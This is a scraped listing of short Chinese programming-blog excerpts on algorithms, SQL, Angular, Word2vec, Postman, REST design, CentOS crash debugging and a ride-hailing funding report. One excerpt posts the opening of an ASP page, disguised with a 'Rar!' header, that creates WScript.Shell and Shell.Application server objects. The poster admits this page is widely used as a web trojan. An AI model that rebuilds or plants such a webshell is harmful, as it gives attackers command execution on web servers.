关于lca -- 待补
倍增$ST$表 预处理复杂度 $O(n \log n)$ 单次查询复杂度 $O(\log n)$ $Tarjan$算法 离线操作，总复杂度约$O(n+q)$ 欧拉序列 预处理复杂度 $O(n \log n)$ 单次查询复杂度 $O(1)$
AI - 常见机器学习算法简介
原文链接：http://usblogs.pwc.com/emerging-technology/machine-learning-methods-infographic/ 应该使用哪种机器学习算法？这在很大程度上依赖于可用数据的性质和数量以及每一个特定用例中你的训练目标。 不要使用最复杂的算法，除非其结果值得付出昂贵的开销和资源。这里给出了一些最常见的算法，按使用简单程度排序。 1. 决策树（DT，Decision Trees） 在进行逐步应答过程中，典型的决策树分析会使用分层变量或决策节点，
哈啰出行完成新一轮融资 具体金额未公布
哈啰出行完成近40亿元新融资，春华资本、蚂蚁金服联合领投。对此，哈啰出行向新京报记者表示，确定完成新一轮融资，但更多信息不方便透露。 界面报道称，据接近哈啰投资方的知情人士透露，今年9月左右，哈啰出行完成新一轮融资，由春华资本、蚂蚁金服联合领投，老股东继续跟投，春华资本的投资额超过蚂蚁金服，此轮融资额在40亿元人民币左右。 今年10月18日，新京报记者获悉，哈啰出行CEO杨磊、执行总裁李开逐、COO韩美、CTO江伟4支联合创始团队将各自在江苏永安行低碳科技有限公司(哈啰出行主体公司)部分股权质
数据结构-栈-进制转换
#include<iostream>
#include<stdio.h>
#include<string.h>
#include<algorithm>
using namespace std;
typedef struct sqstack{
int *base;
int *top;
int sizestack;
}sqstack;
void creat_stack(sqstack &a){
a.base=(int*)malloc(100*sizeof(int));
a
解决Eclipse按下Ctrl+鼠标左键，无法转到类、变量或者方法问题
Eclipse项目中，按下Ctrl键后，鼠标移动到类、方法后可以显示高亮链接，但点击后无法跳转过去。网上查了很多方法都没有解决 最后无意在国外的网站上找到了解决方法，出处： https://stackoverflow.com/questions/16354028/eclipse-type-hierarchy-not-always-working 原文： I had this same problem and fixed it by deleting the Eclipse index cach
Angular添加组件
1 import { Injectable } from '@angular/core';
2 import { HttpClient, HttpParams, HttpHeaders } from '@angular/common/http';
3
4 @Injectable({
5 providedIn: 'root',
6 })
7 export class ObHttpService {
8
9 static readonly API_HOST = 'htt
CentOS 7.1系统自动重启的Bug定位过程
【问题】 有同事反应最近有多台MongoDB的服务器CentOS 7.1系统会自动重启，分析了下问题原因。 【排查过程】 1、 检查系统日志/var/log/message，并没有记录异常信息，journalctl相关日志只记录发生过重启 2、 系统默认配置了kdump，使用crash工具分析/var/crash下的转储文件vmcore，命令如下： crash /usr/lib/debug/lib/modules/3.10.0-327.36.3.el7.x86_64/vmlinux /tmp/
手把手教你NumPy来实现Word2vec
Word2Vec被认为是自然语言处理（NLP）领域中最大、最新的突破之一。其的概念简单，优雅，（相对）容易掌握。Google一下就会找到一堆关于如何使用诸如Gensim和TensorFlow的库来调用Word2Vec方法的结果。另外，对于那些好奇心强的人，可以查看Tomas Mikolov基于C语言的原始实现。原稿也可以在这里找到。 本文的主要重点是详细介绍Word2Vec。为此，我在Python上使用Numpy（在其他教程的帮助下）实现了Word2Vec，还准备了一个Google Sheet
postman(四)：添加变量
在进行API测试的时候，不同接口之间有时会用到同样的参数，甚至有些值都很少会改变，比如每个请求的ip和端口。 为了提高用例的可读性以及可维护性，可以利用postman的“变量”把经常用到的“固定值”抽离出来，后续如果这个值需要改动的话，只需要改它对应的变量即可(想象下假如你的API用例是在测试环境A编写的，后面又需要到测试环境B去做，这个时候如果手动一条条地去改ip地址，可以预见会有多大的工作量) postman的变量可以分为全局变量、环境变量、集合变量 collection variable
设计糟糕的 RESTful API 就是在浪费时间
现在微服务真是火的一塌糊涂。大街小巷，逢人必谈微服务，各路大神纷纷忙着把自家的单体服务拆解成多个Web微小服务。而作为微服务之间通信的桥梁，Web API的设计就显得非常重要。 HTTP是目前互联网使用最多的协议，但是作为HTTP协议创始人之一的Roy Fielding认为，过去十年，大家都在错误地使用HTTP协议。删除一个数据，路径往往是 delete/{id}，更新一条数据，路径往往被定义为update/{id}。你已经被Roy在心里默默的鄙视了！ Roy Fielding提出了一种用于设
[剑指offer] 51. 构建乘积数组
题目描述 给定一个数组A[0,1,...,n-1],请构建一个数组B[0,1,...,n-1],其中B中的元素B[i]=A[0]*A[1]*...*A[i-1]*A[i+1]*...*A[n-1]。不能使用除法。 思路： 当作一个上三角和下三角，分别用两个for去乘上三角和下三角。 class Solution
{
public:
vector<int> multiply(const vector<int> &A)
{
vector<int> B;
SQL 字段charindex,stuff，ltrim, for xml path('') 操作字符串 合并查询结果项值
今天在处理一个功能的时候遇到一些功能解决问题 如：表 CREATE TABLE demo(
demo_id int identity primary key,
demo_name varchar(50)
)
INSERT INTO demo VALUES('房地产开发')
INSERT INTO demo VALUES('房地产经纪/销售')
INSERT INTO demo VALUES('建筑业/工程/施工')
1 房地产开发 2 房地产经纪/销售 3 建筑业/工程/施工 另一表dem
百度地图 地标信息循环添加被覆盖 解决方案
前些天 一朋友让帮忙解决一个程序问题 发过来一看是百度地图 覆盖层的信息出现覆盖现象 大概一看未发现明显的逻辑覆盖错误，也有些困惑 。以前弄过谷歌 百度的不熟悉 搜索了下 百度地图出现信息窗体信息被覆盖现象还不少 网上说了几种解决方法：外出单独定义，参数方法传递 均试过 但结果不乐观 继续搜索了相关资料找到解决方案 ： js (function(){})(e) 这是一个闭包，立即运行程序，带e参数更好些，每次就不用再从window对象里查找。不污染全局变量 (function( $, unde
网上找到一个可以用来测试网站安全性能的测试ASP页面
之前在找到一个验证自己网站安全性能的ASP检查页面 而现在大多数人用它来做ASP挂马程序使用 这儿把代码贴出来 有兴趣的朋友可以看看 毕竟知己知彼才能更好去防范控制 这儿贴出代码希望不要被用在恶意方向！！ Rar!<object runat='server' id='ws' scope='page' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object>
<object runat='server' id='sa' scop
MS SQL 查询数据库中所有索引以及对应的表字段 SQL Server Profiler性能跟踪
新项目上线，需要对库里的表进行相关索引检查。这儿首先需要查看一下库里的表那些有索引，然后用SQL Server Profiler进行跟踪，检查SQL语句性能，查询频率等。 查询库里所有索引相关信息这儿给出一个SQL，使用了CTE查询： with temp as(
select a.name as tabname,a.object_id
,h.name as indexName,h.index_id,ic.column_id,c.name colName
from s
今日推荐
周排行